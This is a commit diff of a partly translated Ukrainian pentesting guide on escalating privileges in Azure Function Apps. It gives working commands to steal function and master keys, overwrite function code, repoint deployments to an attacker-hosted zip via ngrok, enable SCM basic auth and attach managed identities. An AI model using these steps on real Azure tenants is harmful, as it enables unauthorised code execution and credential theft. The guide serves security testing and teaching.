Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:25:50 +00:00
parent bdaa772c8e
commit 67d1fa9167

View File

@@ -4,34 +4,34 @@
## Function Apps ## Function Apps
Перевірте наступну сторінку для отримання додаткової інформації: Перегляньте наступну сторінку для додаткової інформації:
{{#ref}} {{#ref}}
../az-services/az-function-apps.md ../az-services/az-function-apps.md
{{#endref}} {{#endref}}
### Bucket Read/Write ### Доступ до Bucket — читання/запис
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**. Якщо є права читати контейнери всередині Storage Account, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, що виконується функцією**.
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції. Після того, як ви знайдете, де розташований код функції, якщо у вас є права запису до нього, ви можете змусити функцію виконати будь-який код і підвищити привілеї managed identities, прив’язаних до функції.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`) - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції. Код функції зазвичай зберігається в file share. За достатнього доступу можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї managed identities, прив’язаних до Function.
Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
Ці конфігурації міститимуть **Storage Account Key**, який Функція може використовувати для доступу до коду. Those configs will contain the **Storage Account Key** that the Function can use to access the code.
> [!CAUTION] > [!CAUTION]
> З достатніми правами для підключення до File Share та **модифікації скрипта** можливо виконати довільний код у Функції та підвищити привілеї. > За наявності достатніх дозволів для підключення до File Share та **modify the script**, що виконується, можливо виконати довільний код у Function і підвищити привілеї.
Наступний приклад використовує macOS для підключення до файлового сховища, але рекомендується також перевірити наступну сторінку для отримання додаткової інформації про файлові сховища: The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
{{#ref}} {{#ref}}
../az-services/az-file-shares.md ../az-services/az-file-shares.md
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
``` ```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називаному `function-releases`**. Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера Storage Account, який function app використовує — зазвичай контейнер названий **`function-releases`**.
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в: Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
```bash ```bash
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання. This config will usually contain a **SAS URL to download** the code from the Storage Account.
> [!CAUTION] > [!CAUTION]
> З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї. > Якщо є достатні права для підключення до blob-контейнера, який **містить код у zip**, можливо виконати довільний код у Function і підвищити привілеї.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`. Як і в попередньому випадку, якщо деплой виконується через Github Actions, можна знайти папку **`github-actions-deploy`** в Storage Account, що містить zip з кодом та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`) - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції: Маючи права на читання контейнерів у Storage Account, що зберігає дані функції, можна знайти контейнер **`scm-releases`**. Там можна знайти останній реліз у **Squashfs filesystem file format** і, отже, прочитати код функції:
```bash ```bash
# List containers inside the storage account of the function app # List containers inside the storage account of the function app
az storage container list \ az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
``` ```
Також можливо знайти **master and functions keys**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині. Також можливо знайти **master and functions keys**, збережені в storage account у контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** в JSON-файлах, які там містяться.
> [!CAUTION] > [!CAUTION]
> З достатніми правами для підключення до контейнера blob, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Function і підвищити привілеї. > За наявності достатніх прав для підключення до blob container, який **contains the code in a zip extension file** (який насправді є **`squashfs`**), можливо виконати довільний код у Function і підвищити привілеї.
```bash ```bash
# Modify code inside the script in /tmp/fs adding your code # Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
``` ```
### `Microsoft.Web/sites/host/listkeys/action` ### `Microsoft.Web/sites/host/listkeys/action`
Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з: Цей дозвіл дозволяє перелічити ключі function, master та system (але не host) для зазначеної функції за допомогою:
```bash ```bash
az functionapp keys list --resource-group <res_group> --name <func-name> az functionapp keys list --resource-group <res_group> --name <func-name>
``` ```
З майстер-ключем також можливо отримати вихідний код за URL, як-от: За допомогою master key також можна отримати source code за URL, наприклад:
```bash ```bash
# Get "script_href" from # Get "script_href" from
az rest --method GET \ az rest --method GET \
@@ -130,62 +130,83 @@ az rest --method GET \
# Access # Access
curl "<script-href>?code=<master-key>" curl "<script-href>?code=<master-key>"
## Python example: # Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
``` ```
І щоб **змінити код, який виконується** у функції на: А щоб **змінити код, який виконується в функції**, на:
```bash ```bash
# Set the code to set in the function in /tmp/function_app.py # Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example ## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \ --data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-H "If-Match: *" \ -H "If-Match: *" \
-v -v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
``` ```
### `Microsoft.Web/sites/functions/listKeys/action` ### `Microsoft.Web/sites/functions/listKeys/action`
Ця дозволяє отримати ключ хоста вказаної функції за допомогою: Цей дозвіл дозволяє отримати ключ за замовчуванням вказаної функції за допомогою:
```bash ```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01" az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
``` ```
Викличте функцію, використовуючи отриманий ключ за замовчуванням:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write` ### `Microsoft.Web/sites/host/functionKeys/write`
Ця дозволяє створювати/оновлювати ключ функції вказаної функції з: Цей дозвіл дозволяє створювати/оновлювати ключ функції зазначеної функції з:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
### `Microsoft.Web/sites/host/masterKey/write` ### `Microsoft.Web/sites/host/masterKey/write`
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з: Цей дозвіл дозволяє створювати/оновлювати master key для вказаної функції за допомогою:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
> [!CAUTION] > [!CAUTION]
> Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше! > Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як описано раніше!
### `Microsoft.Web/sites/host/systemKeys/write` ### `Microsoft.Web/sites/host/systemKeys/write`
Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з: Цей дозвіл дозволяє створювати або оновлювати системний ключ для вказаної функції з:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
Використовуйте ключ:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action` ### `Microsoft.Web/sites/config/list/action`
Цей дозвіл дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**. Цей дозвіл дозволяє отримувати налаштування функції. Всередині цих конфігурацій може бути знайдено значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до blob storage функції з повним доступом**.
```bash ```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group> az functionapp config appsettings list --name <func-name> --resource-group <res-group>
``` ```
Крім того, це дозволення також дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою: Крім того, цей дозвіл також дозволяє отримати **SCM username and password** (якщо ввімкнено) за допомогою:
```bash ```bash
az rest --method POST \ az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01" --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
``` ```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції. Ці дозволи дають змогу перелічувати значення конфігурації функції, як ми вже бачили раніше, а також **змінювати ці значення**. Це корисно, тому що ці налаштування вказують, де розташований код, який виконується всередині функції.
Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, вказуючи на URL zip-файл, що містить новий код для виконання всередині веб-додатку: Отже, можна встановити значення параметра **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL zip-файл, який містить новий код для виконання всередині веб-додатка:
- Почніть з отримання поточної конфігурації - Почніть з отримання поточної конфігурації
```bash ```bash
@@ -193,7 +214,7 @@ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-name> --resource-group <res-name>
``` ```
- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно - Створіть code, який ви хочете, щоб function виконувала, і розмістіть його публічно
```bash ```bash
# Write inside /tmp/web/function_app.py the code of the function # Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example # Serve it using ngrok for example
ngrok http 8000 ngrok http 8000
``` ```
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код. - Змініть функцію, збережіть попередні параметри і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, який містить код.
Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я хостив додаток. Нижче наведено приклад моїх **власних налаштувань — вам потрібно змінити значення на свої**, зверніть увагу наприкінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, саме звідти я хостив додаток.
```bash ```bash
# Modify the function # Modify the function
az rest --method PUT \ az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
``` ```
### `Microsoft.Web/sites/hostruntime/vfs/write` ### `Microsoft.Web/sites/hostruntime/vfs/write`
З цим дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API): За цим дозволом **можна змінити код додатка** через веб-консоль (або через наступну кінцеву точку API):
```bash ```bash
# This is a python example, so we will be overwritting function_app.py # This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function # Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body --body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
``` ```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять **базові облікові дані аутентифікації**: Це дозволення дає змогу перерахувати всі publishing profiles, які по суті містять **basic auth credentials**:
```bash ```bash
# Get creds # Get creds
az functionapp deployment list-publishing-profiles \ az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \ --resource-group <res-name> \
--output json --output json
``` ```
Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою: Ще один варіант встановити власні облікові дані та використовувати їх за допомогою:
```bash ```bash
az functionapp deployment user set \ az functionapp deployment user set \
--user-name DeployUser123456 g \ --user-name DeployUser123456 g \
--password 'P@ssw0rd123!' --password 'P@ssw0rd123!'
``` ```
- Якщо облікові дані **REDACTED** - Якщо **REDACTED** credentials
Якщо ви бачите, що ці облікові дані **REDACTED**, це тому, що вам **необхідно увімкнути параметр базової аутентифікації SCM** і для цього вам потрібен другий дозвіл (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` Якщо ви бачите, що ці credentials позначені як **REDACTED**, то це тому, що вам **need to enable the SCM basic authentication option**, і для цього потрібен другий дозвіл (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash ```bash
# Enable basic authentication for SCM # Enable basic authentication for SCM
az rest --method PUT \ az rest --method PUT \
@@ -262,9 +302,9 @@ az rest --method PUT \
} }
} }
``` ```
- **Метод SCM** - **Method SCM**
Тоді ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища: Потім ви можете використати ці **basic auth credentials to the SCM URL** вашого function app і отримати значення env variables:
```bash ```bash
# Get settings values # Get settings values
curl -u '<username>:<password>' \ curl -u '<username>:<password>' \
@@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \ curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy https://<app-name>.scm.azurewebsites.net/api/zipdeploy
``` ```
_Зверніть увагу, що **ім'я користувача SCM** зазвичай є символом "$", за яким слідує назва програми, отже: `$<app-name>`._ _Zверніть увагу, що **ім'я користувача SCM** зазвичай є символом "$", після якого йде назва додатку, тобто: `$<app-name>`._
Ви також можете отримати доступ до веб-сторінки за адресою `https://<app-name>.scm.azurewebsites.net/BasicAuth` Ви також можете отримати доступ до веб-сторінки за адресою `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Значення налаштувань містять **AccountKey** облікового запису зберігання, що зберігає дані програми функцій, що дозволяє контролювати цей обліковий запис зберігання. Значення налаштувань містять **AccountKey** облікового запису сховища (storage account), в якому зберігаються дані function app, що дозволяє контролювати його.
- **Метод FTP** - **Метод FTP**
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
``` ```
_Зверніть увагу, що **FTP ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._ _Зауважте, що **FTP username** зазвичай має формат \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read` ### `Microsoft.Web/sites/hostruntime/vfs/read`
Ця дозволяє **читати вихідний код** програми через VFS: Цей дозвіл дозволяє **читати вихідний код** додатка через VFS:
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
``` ```
### `Microsoft.Web/sites/functions/token/action` ### `Microsoft.Web/sites/functions/token/action`
З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції. З цим дозволом можна [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який згодом можна використати для отримання **master key** і, відповідно, доступу та зміни коду функції.
Однак, під час моїх останніх перевірок токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили: Однак у моїх останніх перевірках токен не повертався, тому це може бути вимкнено або більше не працювати, але ось як це зробити:
```bash ```bash
# Get admin token # Get admin token
az rest --method GET \ az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
``` ```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ці дозволи дозволяють **включати функції**, які можуть бути вимкнені (або вимикати їх). Ці дозволи дозволяють **увімкнути функції**, які можуть бути вимкнені (або вимкнути їх).
```bash ```bash
# Enable a disabled function # Enable a disabled function
az functionapp config appsettings set \ az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \ --resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false" --settings "AzureWebJobs.http_trigger1.Disabled=false"
``` ```
Також можливо перевірити, чи функція увімкнена або вимкнена за наступною URL-адресою (використовуючи дозволи в дужках): Також можливо перевірити, чи увімкнено функцію або вимкнено за наступним URL (з використанням дозволу в дужках):
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01" az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
``` ```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його. З цими дозволами можна **змінити контейнер, який запускається function app**, налаштованої на виконання в контейнері. Це дозволило б attacker завантажити шкідливий azure function container app на docker hub (наприклад) і змусити функцію виконати його.
```bash ```bash
az functionapp config container set --name <app-name> \ az functionapp config container set --name <app-name> \
--resource-group <res-group> \ --resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
``` ```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
З цими дозволами можливо **прикріпити нову керовану ідентичність користувача до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої ідентичності користувача. За наявності цих дозволів можна **приєднати нову user managed identity до function**. Якщо function було скомпрометовано, це дозволить підвищити привілеї для будь-якої user managed identity.
```bash ```bash
az functionapp identity assign \ az functionapp identity assign \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> \ --resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name> --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
``` ```
### Remote Debugging ### Віддалене налагодження
Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій. Також можна підключитися для налагодження запущеної функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Проте за замовчуванням Azure вимкне цю опцію через 2 дні, щоб уникнути залишення вразливих конфігурацій у разі, якщо розробник забуде.
Можливо перевірити, чи має функція увімкнене налагодження за допомогою: Можна перевірити, чи увімкнено налагодження для функції за допомогою:
```bash ```bash
az functionapp show --name <app-name> --resource-group <res-group> az functionapp show --name <app-name> --resource-group <res-group>
``` ```
Маючи дозвіл `Microsoft.Web/sites/config/write`, також можливо перевести функцію в режим налагодження (наступна команда також вимагає дозволів `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` та `Microsoft.Web/sites/Read`). Маючи дозвіл `Microsoft.Web/sites/config/write`, також можна перевести функцію в режим налагодження (наступна команда також вимагає дозволів `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` і `Microsoft.Web/sites/Read`).
```bash ```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group> az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
``` ```
### Зміна репозиторію Github ### Змінити Github repo
Я намагався змінити репозиторій Github, з якого відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, **новий код не був завантажений** (ймовірно, тому що він очікує, що Github Action оновить код).\ Я намагався змінити Github repo, звідки відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, **the new code was not loaded** (ймовірно тому, що очікується, що Github Action оновить код).\
Більше того, **управляємий обліковий запис федеративних облікових даних не був оновлений**, що дозволяє новому репозиторію, тому виглядає так, що це не дуже корисно. Крім того, **managed identity federated credential wasn't updated** щоб дозволити новий репозиторій, тож це, здається, не дуже корисно.
```bash ```bash
# Remove current # Remove current
az functionapp deployment source delete \ az functionapp deployment source delete \